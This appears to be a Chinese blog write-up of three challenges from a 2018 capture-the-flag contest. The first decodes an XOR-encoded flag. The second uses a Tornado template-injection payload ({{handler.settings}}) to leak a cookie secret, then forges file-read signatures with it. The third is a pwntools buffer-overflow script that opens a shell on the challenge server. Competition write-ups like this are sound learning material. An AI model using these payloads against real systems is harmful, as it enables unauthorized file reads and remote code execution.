迟来的签到题


下载附件,得到一串字符

1
AAoHAR1WX1VQVlNVU1VRUl5XXyMjI1FWJ1IjUCQnXlZWXyckXhs=

用如下脚本得到flag

1
2
3
4
5
6
7
8
9
import base64
a='AAoHAR1WX1VQVlNVU1VRUl5XXyMjI1FWJ1IjUCQnXlZWXyckXhs='
str=base64.b64decode(a)
for n in range(30,126):
flag=''
for i in str:
flag+=chr(ord(i)^n)
if 'flag' in flag:
print flag


1
flag{09360535374819EEE70A4E6BA8009AB8}

Easy tornado

进入题目后可以查看三个文件

三个文件内容如下:




当我们打开一个文件时,可以看到url如下:

1
http://49.4.78.9:31418/file?filename=flag.txt&signature=cfabdd22f2ddf70bff701d0a2244b0bf

看到filename猜想是文件读取,试一下,说签名错误
再结合hint.txt的内容,可以知道签名的计算是
md5(cookie_secret + md5(filename))
那么又要找cookie_secret
Orz.txt中有个render()
可能是模板注入
最终错误提示页面模板注入得到cookie_secret

1
http://49.4.78.9:31418/error?msg={{handler.settings}}


然后通过表达式构造数字签名,再读取flag.txt中的文件/fllllllllllag

1
http://49.4.78.9:31418/file?filename=/fllllllllllag&signature=805ce24bf6e864bd55f42fbfad95cb42

得到flag

1
flag{c6a56240ce22e49940fdcdb804dac08a}

gettingstart

一道pwn的题,贴一下队友的脚本

1
2
3
4
5
6
from pwn import *
io = remote('49.4.79.129', 32620)
payload = 'a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
io.send(payload)
io.interactive()
io.close()

执行脚本弹回一个shell

1
flag{8a1bc437d27258d82810afd9a1455b29}

最后更新: 2018年10月14日 22:33

原始链接: http://drac0nids.top/2018/10/13/护网杯部分writeup/

× 请我吃糖~
打赏二维码